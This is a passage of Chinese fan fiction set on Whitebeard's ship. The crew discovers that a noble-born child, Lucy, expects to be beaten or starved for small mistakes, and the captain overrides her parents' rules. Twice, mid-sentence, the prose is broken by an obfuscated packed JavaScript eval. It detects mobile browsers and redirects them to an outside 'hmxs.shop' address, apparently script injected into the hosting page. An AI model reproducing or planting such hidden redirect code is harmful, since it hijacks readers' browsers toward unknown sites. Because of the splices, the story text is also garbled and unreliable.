可它明明就是骷髅。 萨奇刚要开口,哈尔塔又从甲板飘了过来:“以防你不知道——我来说一声,她喊我哥哥了。” 啪! 青年额头爆出青筋,他一把掀开挡板,抄起酒瓶拔腿追了出去:“哈、尔、塔!我今天要弄死你!” “喂萨奇,晚饭怎么办啊!”布兰海姆在后面喊。 13. 您已触发特殊剧情,请小心应对 晚饭怎么办? 肯定还是做了啊。 船员们看着盘子里死不瞑目的鱼头派,痛苦地捂住脸。 马尔科带着露西进来的时候,就看到这样一副场景。他挑了挑眉。 白胡子坐在人群中央,一个人低头喝酒,表示自己什么也不知道。十二番队的队员们率先抬头瞥了一眼,紧接着猛地抬头,双眼瞪大,死死盯着他们。其他人几乎在一瞬间噤声,还在聊天的船员们一个滑步冲回自己的椅子,一屁股坐上去。 吱—— 伴随着刺耳的摩擦声,他们个个屏气,严阵以待。 “……干嘛?”马尔科摸不着头脑,拉开高凳在吧台边坐下。 “别别别……” “马尔科队长——!” 船员们龇牙咧嘴地朝他摇手,示意他让开。 马尔科看着那些让他移位的手势,一个也没有搭理。真是莫名其妙,他安心地坐在原位。 露西照常看了一圈,没有找到阿葵亚,她跟着马尔科来到之前自己坐的地方,踮着脚将自己的小短腿跨上去。她爬到一半,马尔科将她抱起来放在凳子上。 “谢谢你。”露西礼貌地道谢,晃着腿坐好。 “哎!” 餐厅里传来重重的叹气声。 哀叹此起彼伏,像是看到什么令人失望的结果,船员们用眼刀射向马尔科,带着毫不掩饰的醋意。 【露西最喜欢的队长是谁?】 这个问题的答案,每个番队都是自家队长的单推人。 ——不如看看露西会在谁身边坐下吧!她离哪个队长坐的最近,就最喜欢他! 十二番队捶胸顿足:“居然是马尔科赢了。” “什么嘛,露西喜欢的是马尔科吗?” “可恶,下次要把那个吧台拆了!” “应该把马尔科扔出去,没有马尔科,小露西就离我们队长最近了!” “喂喂,”金发的队长张着死鱼眼转身,嘴角僵硬,“你们这群家伙,我听得见。” 萨奇将饭放在两人面前,面包头的青年虽然脸色不善,到底没有给他们上那道鱼头派。马尔科接过饭直接开始吃了,露西却试探地看了他一眼,盯着眼前的晚饭发呆。 萨奇看着她,眼神复杂。下午孩子对自己的态度如鲠在喉,他心里委屈的很。明明他对露西的态度是几个队长中最友善的之一,自己也是最早认识孩子的,偏偏她对所有人都露出笑脸,却对自己避之不及。 他什么时候惹到她的? 青年这样想着,眼神里不自觉带上几分幽怨。 “露西啊……”他幽幽地开口。 露西顿了一下,抬头看他。 “为什么不和我打招呼呢?是萨奇哥哥哪里做错了吗?” 露西露出一种震惊的表情,仿佛在说“你确定要说这种话吗?”。 她抿着嘴低头,手里抓着那把冰凉的勺子不愿意出声。温暖的灯光映在孩子头顶,将她的睫毛染上橙色,背景里传来海贼们闹哄哄的笑声,她坐在吧台前,和那片过于放肆的自由显得格格不入。 马尔科嚼着饭看她:“没有喜欢吃的吗?” 露西的睫毛抖了抖,很轻地摇头。 马尔科擦了下嘴。 这个动作,是赞同还是否定? 萨奇还在纠结露西对自己的排斥,直到中午,他们之间都是很友好的。 “露西,你讨厌我吗?”他忍不住问。 露西犹豫了一下,再次摇头。 两个队长对视一眼,为难地挠头。 这个反应—— 谁懂儿童心理学?也许该问问万国的夏洛特。该死的,世经报上怎么没有采访栏目,摩根斯真是废物! 马尔科继续平静地进食,决定把这个难题留给萨奇自己解决。身后的海贼们已经喝欢了,他们将桌上的食物踢下去,自己跳上桌子,几个人在叫好声中比起谁喝的酒多。白胡子咕啦啦啦地笑起来,和儿子们碰杯,先干为敬。 露西听到动静,有些好奇地转身,看见几个队长将椅子拉到一起,从餐厅另一头将披萨传过来。白胡子瞟了一眼,毫不客气地伸手接过。哈尔塔还没有松手,被他带着拎了起来,着急地直呼“老爹”。 白胡子哼哼两声,故意不去看他,慢条斯理地拿起披萨塞进嘴里。 “布拉曼克!布拉曼克!帮忙!”少年急得大喊。 布拉曼克站起来拔他的脚。 “混蛋!”哈尔塔踢开他,“我让你拿披萨!披萨要给老爹吃光了!” 布拉曼克大笑起来:“我才不和老爹抢呢。” “什么叫抢?你们不吃吗?”哈尔塔看着这群看热闹的兄弟,气不打一处来。 “以藏!” 以藏没听到。他靠在椅背上,单手拿着木桶杯,和金古多说着什么,灯光将他染上几分暖意。布伦海姆加入他们的讨论,比划了一个数字,以藏轻笑出声,点头赞同,抿了一口酒。 露西从来没有见过这么热闹的场景,父亲可以和儿子打闹,儿子可以不怕父亲。他们之间没有一整条长桌,没有压的人喘不过气的规矩和尊卑。 她的手指碰到温热的餐盘,就像触碰到某种不该存在的禁忌,缩了回来。 白胡子看着哈尔塔,得意地大笑。 他逗够了孩子,将披萨盘放在桌上,哈尔塔双脚落地,冲过去抓起披萨塞进嘴里,白胡子看着他急吼吼的背影,笑着摸了摸少年的头。金古多的腿伸得太长了,哈尔塔踹了他一脚,男人收回腿,几人边说边坐直去拿。 萨奇看着露西像是寂寞的目光独自转了回来,他动了动嘴,想要解释什么,下一秒,一个海贼被撞了一下,整盆饭飞出去洒在地上。萨奇脸色一变,撑着工作台大吼出声。 “不许浪费食物!!” 他捋起袖子冲过去将闹事的海贼一人一拳揍翻在地,其他人一边笑一边保证自己不会再犯,将他推回餐厅这边。萨奇没好气地返回吧台后,嘴里咕囔着“每次都这样”,抽出一根烟放到嘴边。 他的动作顿了顿,取下烟收回口袋,若无其事地换成牙签。 “萨奇。” 青年咬着牙签的动作一顿。 露西的眼神有点迷茫,她听着餐厅里的热闹,感受着那些和奥特卢克家族完全不一样的规矩,犹豫了很久,终于鼓起勇气问那个问题:“你今天……会打我吗?” 吱—— 餐厅里瞬间鸦雀无声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984344|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的吵闹声在这一刻消失得无影无踪,大家的动作好像被时间同步静止了一般,尴尬地停在原地,连白胡子喝酒的动作都慢了一拍。 大家竖起耳朵去听。 萨奇:“……” “你怎么会这么想?!” 两秒后,他尖叫出声。 船员们露出谴责的目光。 萨奇冤枉啊!他都不知道发生了什么! “我为什么要打你?”他的语气有些崩溃。 “咦?”露西震惊。萨奇连这个都不知道吗? “你咦什么?你问的啊!” 露西的小脸皱成一团。她思考了很久,思考萨奇到底是真的笨蛋,还是在测试自己。女孩不确定地瞥了青年一眼:“所以,你不会打我?” “我当然不会打你!”萨奇恨不得发誓自证清白,“就因为你早上没吃完?那这些家伙早就被我打死八百次了!” 餐厅里一阵嘘声。 可是这个答案却并没有让露西变得高兴起来。反而,她的表情变得凝重。 “我知道了。” 萨奇在测试她。 孩子点了点头,拿起勺子开始吃饭。她依然坐的端正,可进食速度却比中午快了很多,带着一种急迫,像是在完成什么任务。 她用力地咀嚼,数着次数,不小心被米粒呛到,捂着嘴咳嗽起来。萨奇连忙倒了杯水给她,犹豫道:“你不用吃这么快。” 露西向他道谢,将水放在一边。她的腮帮子因为重复快速的开合开始酸痛,但她没有停下。 因为她不能停下。 这一顿一定要多吃点,尽量多吃点。 【没事的,没事的,露西你是个勇敢的女孩,我们已经有过很多次了,这一次也能顺利过关。】 露西这样想着,身体却忍不住开始发抖。胃里因为紧张和即将到来的惩罚生理性的开始反应,她的喉咙变得干涩,食物黏在上口腔,硬的滑不进食管。她痛苦地吞咽,拼命挤出唾液润滑好让身体接受食物摄入。可是越急,排斥反应就越大。 露西顾不得这种排异,带着一种急迫性将饭菜塞进嘴里,机械地咀嚼。萨奇看着她,表情逐渐从探究和好奇变得震惊,他和马尔科对视一眼,从彼此眼中看见担忧。 这不是在吃饭,这是在折磨自己。 马尔科看着女孩,这一顿,她吃的比以前都多,甚至强撑着不舒服也要吃下去。 萨奇数着她舀起的次数,五勺,七勺,超过中午的食量了,可孩子没有停下。 和早饭时候的吃吐不一样,现在的露西压住呕吐也要进食。 萨奇看着她,欲言又止。 很奇怪啊,不管怎么看都很奇怪。 一碗饭被吃掉七成,远超出孩子所展现的能力范围。露西放下勺子,擦了擦嘴,脸色因进食红润,又透着一种从血肉里涌上来的苍白。 “我吃完了,谢谢款待。”她优雅地点头,扶着吧台跳下去。 马尔科没来得及伸手扶她,她已经抬起下巴,挺起胸膛,不露一丝怯意与软弱地离开餐厅,朝自己的房间走去。 萨奇看着背影,抓了抓头。 “她、她不讨厌我吧?” 萨奇自己也不确定了。 14.一夜过去了 马尔科看着那个小身影融进黑夜,总觉得哪里不太对劲。可露西不说,他不知道。金古多走过来拉他,青年无奈地挠了挠头,收回视线走向聊天的兄弟们。 于是,莫比迪克号的夜晚和往常一样灯光彻夜未熄。 马尔科同时负责白胡子海贼团诸多事宜,忙起来的时候几天几夜没空休息也是经常的事情。青年正在房间里看海图,佛萨寄了一封信回来,有几个岛屿想要开通商口子,佛萨追了追,发现和香波地群岛有关。他想申请前往调查,但他离开驻地,岛屿巡防就会空出一个缺口。 马尔科转着笔,心里想着要怎么安排这个事情,突然,门外传来敲击声。 “进来。” 没想到来的人是罗莎娜。 “马尔科队长,你快来。” 马尔科看着对方脸上焦急的神情愣了一下,他连忙起身,跟着她们来到露西的房间。 孩子靠墙坐着,紧紧闭着双眼。她的脸色比昨天晚上还要白,嘴唇不自然地开裂,像是血气都被吸走了似的。安娜扶着她,她微微移动了一下脑袋,仿佛忍受不住那种疼痛,抓着安娜的手指猛地一缩。可是下一秒,她意识到什么,松开自己的手,将本来快要蜷缩起的躯干再次张开,背脊一块块挺直。 又是那些贵族的规矩。 马尔科心里轻啧一声,面上好脾气地嘱咐:“露西,我需要你躺下yoi,我要给你做个检查。” 女孩一手捂着肚子,一手撑在床上,慢慢地将自己放下去。 马尔科听护士们复述情况,一边点头,一边对着孩子的腹部轻轻按了一下。露西瞬间弹起来痛得蜷缩。 “队长!”护士们紧张地围过来。 露西疼地将自己在床上翻了个面,床单全都皱了起来,她好像哭了,却一点点将自己扣紧的手心松开,笔直地躺在床上。 “这种时候就别在乎规矩了。”马尔科忍不住开口。 他第一次生出一种厌烦的情绪,一种想要把那些规矩从露西身上扯下来的冲动。 那些丝带缠住了这棵树苗,扭曲了它的枝桠,它生长的方向。可是下一秒,马尔科意识到——他是谁啊?他凭什么?他有什么资格?露西是要离开莫比迪克号的,他在这里做的一切只会让她回到自己的家乡后变得痛苦。 马尔科叹了声气,收敛起发散的心神,将自己压死在医生的角色里:“你吃了什么?” 露西虚弱地张了张嘴:“牛肉炒饭,有鸡蛋,唔,胡萝卜……是胡萝卜的问题。” 女孩明明痛得要晕过去,口气却十分坚定,抓着马尔科的手,拼死也要将胡萝卜送上审判台。 “别瞎猜。” 马尔科否定了她的指认,并宣判胡萝卜无罪。 露西哀嚎了一声,流出两滴眼泪,仰过头去别开脸不愿意接受现实。 “牛肉,鸡蛋,胡萝卜,没有问题yoi。”马尔科重复着她的回忆,突然疑惑地反问:“等等,这不是你昨天晚上吃的吗?今天呢,今天的早饭和午饭吃了什么?” 露西抽了抽鼻子,无精打采地回道:“没有哦。” 胡萝卜被无罪释放,是非对错她已无心分辨。 嗒。 青年记录地动作一顿。 “你没吃饭?”马尔科脸上露出一种困惑的表情。他看了一眼沉浸在自己世界中无法自拔的女孩,转身走出去,在通道上喊了一声萨奇的名字。 “萨奇,没饭了吗?” “有啊,还有呢,你要吃?”萨奇从餐厅走出来,用围裙擦了擦手。 “不,是露西yoi。她今天没吃东西。” 这样一说,萨奇想起来了:“哦,我早上就没见到她。诶,她为什么不来吃饭?” 马尔科转身往房间走去:“我也想知道。我以为餐厅没吃的了。” “怎么可能……” 萨奇跟着他来到房间门口,倚着门框探头看了一眼。露西躺在床上,湿漉漉的眼睛朝两人投来询问的目光。她的金发蔫蔫的贴在头上,睫毛也有气无力,整个人像是被一块无形的毯子裹住,喘不过气来。 萨奇轻啧一声,心里像被针戳了一下。 “等着,我去给你熬粥。” 可露西依然没吃。 她看着热气腾腾的碗,虽然在护士们的帮助下坐了起来,却没有抬手拿那把勺子。 “我知道了,是萨奇做的饭难吃吧。”哈尔塔凑在门口说。 “难吃你别吃啊!”萨奇火冒三丈。 他扭头看向那碗被搁置的粥,百思不得其解。 不应该啊?他的手艺没退步才对。 马尔科坐在房间里的木桌边上,十指偶尔交替玩着自己腰间的带子,他看了一眼一声不吭的孩子,拖着声音说:“不关萨奇的事yoi,她昨天可没挑食。” 哈尔塔明白了:“还是因为粥吧!我都说了吃肉!” “你以为她和你一样啊!她两顿没吃,你现在让她吃肉,是希望她吐吗?” “两顿没吃而已!新世界的孩子不都是这样,有什么吃什么,照样活得很好!” “所以说她不是新世界的孩子——” 几人交谈中,只有以藏一直没有出声。他的视线停留在露西的脸上,突然察觉到什么,问:“你在看什么?” 自从萨奇端来粥后,露西虽然换过姿势,朝向却没有变过。她呆呆地坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987754|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地,仿佛在发呆,可是以藏明明看见她的眼珠有微微移动。她是在盯着某一处。 互不服气的萨奇和哈尔塔停下争执,顺着以藏的视线看向女孩。他们齐齐皱眉,半个身子探进房子里,扭头,随孩子的视线往上。 墙上挂着一面钟。 “她看钟干什么?”哈尔塔看着钟,又回头看她,一脸困惑。 萨奇托着下巴陷入沉思:“难道和时间有什么关系?” 马尔科瞥了露西孩一眼。她不说话,眼中却流露出一种“你们总算明白了”的欣慰。她小心地吞咽口水,手指摩挲着自己的裙子,如果不是实在没有力气,露西真的很想开口直接朝他们解释。 她不是不吃饭,她是不能吃。 马尔科撑着桌子,歪头去看孩子的表情,突然一丝灵光的火花窜过。青年僵了一下,声音里带着一点自己都难以置信的憋屈:“你该不会是……要到某个时间才能吃吧yoi?” “什么?” 哈尔塔猛地转头。 “还有这种说法?” 他抬头去看以藏。 “那些贵族有病吧!” 是不是脑子有问题? 吃饭这种事情,难道不应该饿了就吃吗? 没等以藏回答,萨奇却反驳了:“不对啊。” 这位白胡子海贼团的总厨师长对时间有着敏锐的感知,虽然船上的海贼作息极其不规律,宿醉,蒙头睡到下午,都是常有的事情,但身为厨师,他们四番队每天起灶是有固定时间的,不算时不时的加餐和夜宵,一日三餐雷打不动的排班。 就算不能和贵族的进餐时间完全吻合,萨奇敢说也有八九不离十,证据就是露西头一天早上进入餐厅的时候,早饭刚刚出锅不到半个小时。 “三餐的时候我都在餐厅,就算不在,餐厅里也有其他队员,不可能没人。不管你什么时候来,都应该有人接待你啊。” 萨奇想了想,觉得自己找到答案了:“你什么时候去的餐厅?我倒要看看是哪个家伙不给你准备饭!” “你是说你们四番队欺负新人?”哈尔塔像是听到什么新鲜事,“萨奇,你真该好好管管你们队员了。” 萨奇义愤填膺:“露西,你说!只要你给个时间,我就知道值班的是谁。你别怕,我的队员我管得了。” 哈尔塔仗义道:“没错,他要是下不了手,我替你报仇!” 大人好吵啊……露西有气无力地瞥了他们一眼。 咚咚咚。 四个男人闻声望去。 “队长——”罗莎娜站在门外,手里抱着病历板。她微微侧身,示意房间内的几人,“船长说,让你们带露西过去。” 15.翻译翻译什么叫规矩 “老爹,怎么惊动您了yoi?” 白胡子看着自己的儿子们,还有那个被马尔科抱在怀里脸色惨白的女孩,喝了一口酒:“我以为你们几个欺负她呢。” 毕竟那个小鬼的气息弱的他都差点以为出人命了。 萨奇上前一步,焦急道:“老爹您快看,露西她不肯吃东西!” “不吃?” 白胡子皱眉看向孩子:“哼,船上可没有你这样的小鬼挑食的余地。” 露西看着白胡子,察觉到他语气中的不满,勉强撑起精神摇了摇头:“明天。” 离得最近的马尔科问她:“明天是什么意思?” 露西艰难地叹了口气,仅仅是这个动作,她的腹部也会抽搐的疼。 “明天……就能吃了。” 队长们震惊。 “为什么要等到明天啊?你今天就饿死了也不吃吗?” “明天吃有点……” “管他们呢!就今天吃了!” 他们的声音太亮了,刺得露西本就发胀的耳膜生疼。孩子瑟缩了一下,困惑地看向几人,不明白他们为什么这么笨。 她靠在马尔科身上,理所当然般开口:“因为我连着两天都犯错了呀。” 众人面面相觑。 露西看着他们一脸茫然,迫不得已,孩子只能忍着痛继续开口:“我没有吃完萨奇做的饭,可是萨奇没有打我,所以我今天是不能吃饭的。” 说完,她感到困惑:“你们都是大人怎么会不知道呢?为什么一直要问我?我都要睡着了你们还把我喊起来,我都睡着了……” 她越说越生气,本来饿着就难受,没有几秒,眼泪直接在眼眶里打转。 如果不是他们把她喊起来,一番折腾,她就能睡到明天早上,醒来就能吃饭了。现在好了,他们不仅把她喊起来,还把粥放到她面前。她又不能吃饭,他们还把粥放到她面前! 露西心里太委屈了,眨眨眼,金豆子就沿着脸颊一颗颗往下滚,滴在衣领上。 女孩抽抽噎噎地抓着马尔科的衣服哭,甲板上一时间也没了声音。 队长们似乎沉默了很久,哈尔塔几度想要开口,话到嘴边又咽了回去。他忍啊,忍啊,最终还是第一个爆发出来。 少年气得头发都竖起来了,甲板上没有箱子给他跳,他急得来回踱步,大骂:“去他*的!没打你就不能吃?这他*的什么狗屁道理!” 露西被他吓了一跳,心脏咚地撞了一下。她瞥了一眼少年,撅着嘴,觉得他真的好笨啊。 这有什么不明白的,露西已经解释的很清楚了! 可是哈尔塔显然没有放过她的意思,嘴里一直嘀咕,露西好像听到一只鸟在耳边转悠,停在她的头上啄她,她又饿又累,还得给他们解释。 “犯错的孩子是要接受惩罚的,可是萨奇没有打我,所以露西的惩罚就变成第二天不能吃饭了。” 她重重地叹了口气:“明明之前都是这样的,你们为什么不明白呢?” 她说着说着,觉得自己真是天底下最委屈的人。 “萨奇~” 萨奇的脸色有些阴沉,他的思绪像海浪一样翻涌着墨色,听到露西喊自己,青年抬头,连表情都没来得及收。他立刻松开肌肉,眨眨眼,向着孩子伸手。 露西从马尔科身上来到他的怀里,她闻着萨奇身上的面包味,心里像是有一面小鼓不安地跳动。她试探地观察萨奇的脸色,并没有读到像母亲那样隐藏在和颜悦色下的严厉。孩子眼珠一转,虽然心里生出一点愧疚,还是忍不住想要试试: “萨奇,能不能……我想吃饭,不吃饭好饿啊。” 说不定,萨奇和母亲不一样呢。他是个好人,他会愿意交换惩罚方式。 “露西不怕疼的,你打我吧!” 【打我吧。】 这句话像一个巴掌扇在萨奇脸上。他怔怔地看着她,心底突然生出一种恐惧,因为他发现露西是认真的,她真的这样想。 “我,我不会打你的。”他告诉孩子,可不知道为什么,他的语言听起来那么苍白无力。 “我不会打你,也不会罚你挨饿……说到底你根本就没有不听话!就算不听话也用不着这样!什么处罚,我真是******!” 青年语速越来越快,忍不住骂了一句。 他听出来了,这一定是露西过去家里的规矩! 几人难得阴沉脸色,这样对待一个小孩,什么贵族,根本就是…… 这时候,一直没有开口,从不插手露西事情的白胡子说话了。 “小鬼,听好了,这条船上没有人会因为你不听话惩罚你,我们不会打你,也不会不让你吃饭。” 露西看着男人,她知道,这个人和父亲一样,是这条船的主人。所有的事情都是他说了算。因此,对上那双明明白白写着“听我的”的眼睛,孩子慌了:“不行的,父亲母亲说了,这是规矩。” “咕啦啦啦!” 白胡子笑了起来,整片海域似乎都在晃动。 “你已经不在那个渺小的岛上了,那些破规矩管不了你!” “所以——想吃多少肉,想喝多少酒,想怎么过,都随你喜欢!” 他的声音如同一把刀,在风起浪涌的海面上稳稳插进海底。 露西皱起眉。 她过去的生活中总是有很多规矩。坐有坐的规矩,走路有走路的规矩,吃饭有规矩,说话有规矩,交朋友也有规矩。她是按照爸爸妈妈设定的规矩长成的模样,没有这些规矩,她要怎么办呢? 她连走路都不会了啊。 一种仿佛被世界抛弃的,格格不入的恐慌揪住了孩子的心脏,她几乎是立刻不安地拒绝白胡子的提议。 “不可以,这是规矩,露西要按规矩来!” 一个浪拍在船上,打湿半边甲板。马尔科倚着船沿,那些冰冷的泛着白沫的海浪像死去的灵魂干瘪在将它拖入深海的手中。他心底那种想要打破女孩墨守的陈规的心思再一次发芽,比之前所有的冲动都要猛烈。 哈尔塔往前冲了一步,想要把女孩从萨奇手里拿过来。他恨不得把她的脑子破开来瞧瞧,里面装的都是什么垃圾,居然有这种古怪的想法。萨奇没让他靠近,怕他又说什么不得了的话刺激到孩子。 规矩啊……萨奇想,这个词,很难解啊。 “哼,你是个守规矩的女孩,是吗?” 一行人中,唯有白胡子没有被女孩那种天真下的悲剧色彩影响,一如既往地坦然开口,“没什么不好的,那就守规矩吧。” “老爹!” “不过,你现在在我的地盘。小鬼,你知道这意味着什么吗?” 露西摇头。 白胡子仰头灌了一口酒,露出一种张扬的锐利的气势。露西在满天黑云与南风中,听到这个和海打了一辈子交道的男人用一种不在意的口吻告诉她: “你父母的规矩上不了莫比迪克号的甲板。” 多么嚣张,多么理所当然。 露西还无法明白这句话里睥睨天下的气魄,她只是愣愣地点头。 白胡子看着她,像在看那只偶然间飞到白鲸头上的金甲虫,眼神变得温柔。 “即使是海军,在我的地盘,也要守我的规矩。” “那么,我命令你,想吃多少肉,想喝多少酒,想怎么过,都随你喜欢!只有一点——绝对不能伤害船上的同伴,这,就是莫比迪克号的规矩。” 一阵强风袭来,吹乱了露西的头发,也令她难以呼吸。白胡子的声音在耳蜗里回荡,可她竟然在这种窒息感中感受到一丝安心。 她的心脏跳了一下,又跳动一下,奏出和之前完全不一样的频率。露西茫然地摸着胸口,不明白为什么。 她的心脏在高兴。 滴答。 一滴陌生的眼泪落在她的手背上。 萨奇抱着露西,轻轻擦去那个懵懂的孩子脸上的泪水:“听到了吗露西,在这条船上,你只需要守老爹的规矩。所以你不要担心自己说错话做错事,不要担心有人会因此惩罚你,不让你吃饭,不让你睡觉。话说回来,我从不觉得你有错,你也没有不听话。” 露西呆呆地看着他,她的心中始终有一种惶恐牢牢攥着她:“所以,露西是好孩子吗?” 快告诉我吧,因为好孩子就不用被惩罚了。 “当然了!” 萨奇郑重地和孩子的额头碰在一起。 “露西是世界上最乖的最好的最棒的孩子。” “那萨奇……也没有生气对吗?就算我没有吃完饭……你也不会打我,不会罚我不吃东西,对吗?” 青年举手:“我向你发誓,绝对不会。” 哈尔塔凉凉道:“他要是敢那么做,我第一个揍他!” 露西看向少年,还有一旁点头的以藏,她看着那些令人安心的目光,悄悄放下了攥着衣服的手。 萨奇将孩子放在甲板上。 “走吧,我们去吃饭。” 露西试探地走出一步,然后是第二步,第三步。萨奇的手始终牵着她,她挣开脚踝边的荆棘,握住那只用力的大手走向黑夜里摇晃的灯光。 落在最后的马尔科看着两人的背影,露出一个柔软的笑。哈尔塔吵闹着推开餐厅门的声音被更大的欢迎声盖住,萨奇上一秒还在偷偷为露西的苦难哭泣,下一秒就对着用食物搞怪的船员将酒瓶砸了过去。马尔科挠了挠头,等白胡子起身,父子俩一起往那片你追我赶的剪影走去。 “老爹。” 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布拉曼克终于有了近距离接触的机会,拿着没有他指甲盖大的勺子颤颤巍巍,几十厘米的距离颠出几米的长度。男人整张脸揪在一起,好不容易来到孩子张大的嘴边——手上一抖,勺子撞上鼻孔。露西捂着鼻子后退,难以置信地看着对方,呆了两秒。 “哇——” 以藏连忙蹲下来哄她,布拉曼克被萨奇和哈尔塔踹了出去。 汤碗腾空,水波荡漾,啪,正好落在没想过来的马尔科手里。 “……?”青年托着飞来之碗,一脸空白。 他和女孩对上眼。 马尔科微微怔住。 “马尔科。”以藏扭头示意他过来,哈尔塔扔下布拉曼克来抢他的碗。马尔科回神,顺势举高绕开少年走到露西身边蹲下。露西的脑袋顺着他的动作低下,青年被这视线看得有些不太自然,低头专注在汤碗上。以藏和孩子聊着天,马尔科却仍然能感受到她的目光长久地停留在自己脸上。 别看我了yoi,没什么好看的。 他低垂眼帘,避开那双无比干净的眼睛,舀起米汤送到孩子嘴边。露西眨眨眼,听话地张嘴,含住,咽下,然后等着第二口投喂。 “你的脸很下饭吗?”哈尔塔没错过孩子的眼神。 马尔科咂嘴,他知道露西一直在看他啊,别提醒他了! 吃到第六口的时候,金发的小不点张了张嘴又退了回去。马尔科放下勺子挑眉,她往前一步凑到碗边,伸手要拿勺子。马尔科顺手将勺子给她,女孩抓着勺子舀起汤,举高,抬头。 “马尔科,吃。” 角落里瞬间变得安静。 “啊,我不……”马尔科愣了一下,对上露西写满期待的眼神,一边拒绝,一边很自觉地弯腰将头凑了过去,咽下那口温热的米汤。 孩子一脸激动。 她立刻低头开始舀下一勺。 海贼:“……” “滚开啊马尔科!” “我来!我来!我也能吃!” “别挤了你们是笨蛋吗?!” 一时间,小小的角落挤满人,海贼们互相推搡着,争先恐后地去抢那只汤碗,以藏用命护住孩子不让他们靠近,一边踹人一边推人,动作从没这么粗暴。马尔科被揪着衣领,数十只手直接将男人往外扯。青年踉跄一步,擦了下脸,大怒:“哪个家伙用屁股顶我yoi!” “你们真是……”青年没好气地退出战圈,站在桌子旁整理衣服。 他看着那些夸张的兄弟,忍不住吐槽:“她明明就是吃不下想找人解决剩饭啊yoi,没人看出来吗?” 是的马尔科,很抱歉,没人看出来,他们没有你懂儿童心理学。 他一转身,露西站在自己身边,抬头,眨巴眼睛。 “你又是什么时候出来的?”青年扶额,“他们到底在争什么啊yoi!” “露西不知道哦。”女孩摇摇头,转身向白胡子跑去。 马尔科听见老爹的笑声,看见女孩手脚并用地往上爬,试图抓着他的手臂将自己吊起来。白胡子故意为难她,孩子怎么也够不到手臂,马尔科看着他们,忍不住轻笑,抓了抓自己的头发。 “老爹——”青年拖长声音,满脸笑意。 “马尔科队长!” 马尔科带着笑容回头。 “队长,好消息!我们找到下一座岛屿了!明天就能到达!” 唰。 世界忽然安静下来。马尔科脸上还残留着未褪的喜悦,眼神愣住了。喧闹的人影在背景中模糊不清,他对上报信人无知的欣喜眼神,扭头看了看餐厅内的众人,下意识深呼吸吐出一口气。 马尔科点头,实际上却不知道自己在做什么,他好像想起一些念头又忽然忘了。他边嗯边转身,转了半圈,又转回来,接着又嗯了一声。 “知道了。” 16.水瓶座的钥匙 清晨的莫比迪克号,一只海鸥停在船头理了理自己的羽毛。 甲板上坐着不少船员。他们似乎彻夜未眠,一个个地不是瘫坐就是仰躺,唉声叹气。 “哎……” 海鸥哈哈哈仰头大叫,被哈尔塔一把抓住,笑声猝不及防地断在喉咙里。少年盯着那只汗流浃背的鸟,发泄似的将它抛向天边。海鸥踉跄着飞走。 “喂,你们几个,不至于吧yoi。”马尔科抱着手坐在餐厅顶上,一脸无语。 话音刚落,数十道目光如刀般射过来。 “马尔科队长好无情。” “冷血。” “菠萝头。” “最后一个是谁骂的!”马尔科气急。 他顿了顿,自己也叹了口气,无奈地挠挠头。 “这也是没办法的事吧yoi,早就说好了……” 下一座岛屿,就将孩子放下。 空气沉默了两秒,船员们再一次齐刷刷哀叹,重新躺了回去。 “不想和小露西分开啊。” “呜呜,我的露西——” 虽然孩子性格很奇怪,一点也不像新世界的孩子那样结实得跟猴子一样,但正是这种乖巧,又平等对待每一个人的包容,让全船上下都格外喜欢她。 毕竟,谁会对着一个有酒窝,每天早上中午晚上都朝你打招呼,愿意让你抱,还认真听你每一句吐槽的孩子生出讨厌之心呢? 就算是身体不够强壮这个在新世界几乎是致命的缺陷,对白胡子海贼团来说,都带来了他们生命中从未有过的体验。这些在海上杀进杀出的大老爷们,头一次因为人被噎到会死亡的事实产生了茫然中的恐惧,因为看见她比之前多吃半勺而激动地冲上船头钓鱼。 他们拿着刀、沾着血的手救活了一朵从大火中飘来的,根系断了的花。 他们笨拙地让花在自己的藤上生根,不断向下,看着它往天空爬了一厘米。 他们还在养它,盼着它快点长大,却被告知该把花还回去了。 船员们拒绝承认这个事实。 “马尔科,让她留下吧。反正她都上船了。” “一个小孩,罗莎娜她们也在船上,我们一起养她就是了。” “她的父母已经抛弃她了,不如跟我们走……” 马尔科摇着头阻止他们的胡思乱想。 “决定好的事情就不要再反悔了yoi,都给我有魄力一点。” 通道里传来脚步声,船员们议论的声音戛然而止。 露西一无所知地拉着萨奇的手走出来,和青年有说有笑。她扭头,发现所有人都在,露出一个灿烂的笑容。 “早上好~”孩子松开萨奇,提起自己的裙摆两侧微微屈膝。 “早上好~” 船员们夹着声音回应。 马尔科看着露西,又看了看萨奇,嘴唇动了动。一丝尴尬爬上心头,青年几乎不敢去看孩子充满信任的眼睛。 昨天他们还说着露西以后在船上可以随心所欲的活着,今天,他就要把人送走。连老爹都不愿意露面了,他倒是从始至终地坚持。 我真是坏人啊。 马尔科的良心痛了一下。 露西放下裙子跑到马尔科身边,抬手去拉他。马尔科心中一团糟,手臂还是下意识递出牵住那只柔软的小手。他憋了半天,支支吾吾地开口:“哟露西,你……吃早饭了吗?” “嗯。”露西重重点头,指向萨奇,“萨奇做的!” 马尔科低声回应,几秒后,干巴巴地问她:“要不——再吃点yoi?” 如果露西点头,下一秒,青年就有借口抱起她往餐厅走,多留她一会。 露西习惯性地抬头去瞄大人,又收回视线,扭头看向其他地方:“露西吃饱了,露西不饿。” 